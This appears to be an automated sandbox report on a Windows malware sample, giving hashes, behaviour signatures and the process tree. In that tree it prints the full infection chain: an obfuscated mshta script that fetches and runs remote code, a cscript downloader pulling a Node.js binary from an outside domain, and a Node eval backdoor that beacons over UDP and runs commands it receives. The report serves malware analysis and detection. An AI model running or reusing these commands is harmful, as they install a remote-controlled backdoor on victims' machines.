Analysis
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max time kernel
150s -
max time network
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platform
windows7_x64 -
resource
win7v20210410 -
submitted
08-07-2021 17:16
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210630-104612.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210630-104612.exe
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Size
3KB
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MD5
79fa77b796300ef5bafb6bcee46fc30f
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SHA1
e6ba2132d8058c0532492da00aaec117fff56df4
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SHA256
4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13
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SHA512
0ae044695cffc50eb1c112ee85e37d0e0c9779c4f6bbbbabb6cd85771ac408414dfd3f804f8175fb56a6d995b259f830cbd6f2380cecb08975955e63f0204faf
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 4 1988 mshta.exe 6 1980 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 592 node.exe -
Loads dropped DLL 1 IoCs
pid Process 576 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1916 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1612 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1392 ipconfig.exe 292 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 548 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\ab51f5caa1e1c22a:ads node.exe File created C:\ProgramData\DNTException\node.exe:822bfdc6c1020ba0f113ed1e2f9ad24f node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 592 node.exe 592 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1612 tasklist.exe Token: SeIncreaseQuotaPrivilege 1064 wmic.exe Token: SeSecurityPrivilege 1064 wmic.exe Token: SeTakeOwnershipPrivilege 1064 wmic.exe Token: SeLoadDriverPrivilege 1064 wmic.exe Token: SeSystemProfilePrivilege 1064 wmic.exe Token: SeSystemtimePrivilege 1064 wmic.exe Token: SeProfSingleProcessPrivilege 1064 wmic.exe Token: SeIncBasePriorityPrivilege 1064 wmic.exe Token: SeCreatePagefilePrivilege 1064 wmic.exe Token: SeBackupPrivilege 1064 wmic.exe Token: SeRestorePrivilege 1064 wmic.exe Token: SeShutdownPrivilege 1064 wmic.exe Token: SeDebugPrivilege 1064 wmic.exe Token: SeSystemEnvironmentPrivilege 1064 wmic.exe Token: SeRemoteShutdownPrivilege 1064 wmic.exe Token: SeUndockPrivilege 1064 wmic.exe Token: SeManageVolumePrivilege 1064 wmic.exe Token: 33 1064 wmic.exe Token: 34 1064 wmic.exe Token: 35 1064 wmic.exe Token: SeIncreaseQuotaPrivilege 1064 wmic.exe Token: SeSecurityPrivilege 1064 wmic.exe Token: SeTakeOwnershipPrivilege 1064 wmic.exe Token: SeLoadDriverPrivilege 1064 wmic.exe Token: SeSystemProfilePrivilege 1064 wmic.exe Token: SeSystemtimePrivilege 1064 wmic.exe Token: SeProfSingleProcessPrivilege 1064 wmic.exe Token: SeIncBasePriorityPrivilege 1064 wmic.exe Token: SeCreatePagefilePrivilege 1064 wmic.exe Token: SeBackupPrivilege 1064 wmic.exe Token: SeRestorePrivilege 1064 wmic.exe Token: SeShutdownPrivilege 1064 wmic.exe Token: SeDebugPrivilege 1064 wmic.exe Token: SeSystemEnvironmentPrivilege 1064 wmic.exe Token: SeRemoteShutdownPrivilege 1064 wmic.exe Token: SeUndockPrivilege 1064 wmic.exe Token: SeManageVolumePrivilege 1064 wmic.exe Token: 33 1064 wmic.exe Token: 34 1064 wmic.exe Token: 35 1064 wmic.exe Token: SeDebugPrivilege 292 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1100 wrote to memory of 1988 1100 usfive_20210630-104612.exe 26 PID 1100 wrote to memory of 1988 1100 usfive_20210630-104612.exe 26 PID 1100 wrote to memory of 1988 1100 usfive_20210630-104612.exe 26 PID 1100 wrote to memory of 1988 1100 usfive_20210630-104612.exe 26 PID 1988 wrote to memory of 1164 1988 mshta.exe 27 PID 1988 wrote to memory of 1164 1988 mshta.exe 27 PID 1988 wrote to memory of 1164 1988 mshta.exe 27 PID 1988 wrote to memory of 1164 1988 mshta.exe 27 PID 1164 wrote to memory of 1980 1164 cmd.exe 29 PID 1164 wrote to memory of 1980 1164 cmd.exe 29 PID 1164 wrote to memory of 1980 1164 cmd.exe 29 PID 1164 wrote to memory of 1980 1164 cmd.exe 29 PID 1164 wrote to memory of 304 1164 cmd.exe 33 PID 1164 wrote to memory of 304 1164 cmd.exe 33 PID 1164 wrote to memory of 304 1164 cmd.exe 33 PID 1164 wrote to memory of 304 1164 cmd.exe 33 PID 1164 wrote to memory of 576 1164 cmd.exe 34 PID 1164 wrote to memory of 576 1164 cmd.exe 34 PID 1164 wrote to memory of 576 1164 cmd.exe 34 PID 1164 wrote to memory of 576 1164 cmd.exe 34 PID 576 wrote to memory of 592 576 cscript.exe 35 PID 576 wrote to memory of 592 576 cscript.exe 35 PID 576 wrote to memory of 592 576 cscript.exe 35 PID 576 wrote to memory of 592 576 cscript.exe 35 PID 592 wrote to memory of 1028 592 node.exe 37 PID 592 wrote to memory of 1028 592 node.exe 37 PID 592 wrote to memory of 1028 592 node.exe 37 PID 592 wrote to memory of 1028 592 node.exe 37 PID 592 wrote to memory of 1720 592 node.exe 38 PID 592 wrote to memory of 1720 592 node.exe 38 PID 592 wrote to memory of 1720 592 node.exe 38 PID 592 wrote to memory of 1720 592 node.exe 38 PID 592 wrote to memory of 1916 592 node.exe 39 PID 592 wrote to memory of 1916 592 node.exe 39 PID 592 wrote to memory of 1916 592 node.exe 39 PID 592 wrote to memory of 1916 592 node.exe 39 PID 592 wrote to memory of 788 592 node.exe 40 PID 592 wrote to memory of 788 592 node.exe 40 PID 592 wrote to memory of 788 592 node.exe 40 PID 592 wrote to memory of 788 592 node.exe 40 PID 592 wrote to memory of 1076 592 node.exe 41 PID 592 wrote to memory of 1076 592 node.exe 41 PID 592 wrote to memory of 1076 592 node.exe 41 PID 592 wrote to memory of 1076 592 node.exe 41 PID 592 wrote to memory of 1612 592 node.exe 42 PID 592 wrote to memory of 1612 592 node.exe 42 PID 592 wrote to memory of 1612 592 node.exe 42 PID 592 wrote to memory of 1612 592 node.exe 42 PID 592 wrote to memory of 1064 592 node.exe 44 PID 592 wrote to memory of 1064 592 node.exe 44 PID 592 wrote to memory of 1064 592 node.exe 44 PID 592 wrote to memory of 1064 592 node.exe 44 PID 592 wrote to memory of 1392 592 node.exe 45 PID 592 wrote to memory of 1392 592 node.exe 45 PID 592 wrote to memory of 1392 592 node.exe 45 PID 592 wrote to memory of 1392 592 node.exe 45 PID 592 wrote to memory of 528 592 node.exe 46 PID 592 wrote to memory of 528 592 node.exe 46 PID 592 wrote to memory of 528 592 node.exe 46 PID 592 wrote to memory of 528 592 node.exe 46 PID 592 wrote to memory of 292 592 node.exe 47 PID 592 wrote to memory of 292 592 node.exe 47 PID 592 wrote to memory of 292 592 node.exe 47 PID 592 wrote to memory of 292 592 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 788 attrib.exe 1076 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210630-104612.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210630-104612.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();35;y=unescape('%321%32%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E2%322').split('~');73;try{x='WinHttp';187;x=new ActiveXObject(x+'.'+x+'Request.5.1');250;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);84;x.send();170;y='ipt.S';202;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);34;}catch(e){};67;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1625764567615.txt & cscript /nologo /e:jscript get1625764567615.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F28bf1d205%26b%3D7715c92a" node.cab & expand node.cab node.exe & del get1625764567615.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1625764567615.txt & cscript /nologo /e:jscript get1625764567615.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%278bf1d205%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1625764567615.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1625764567615.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F28bf1d205%26b%3D7715c92a" node.cab4⤵
- Blocklisted process makes network request
PID:1980
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:304
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1625764567615.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%278bf1d205%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:576 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%278bf1d205%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:592 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1028
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1720
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1916
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:788
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1076
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1612
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1064
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1392
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:528
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:292
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:548
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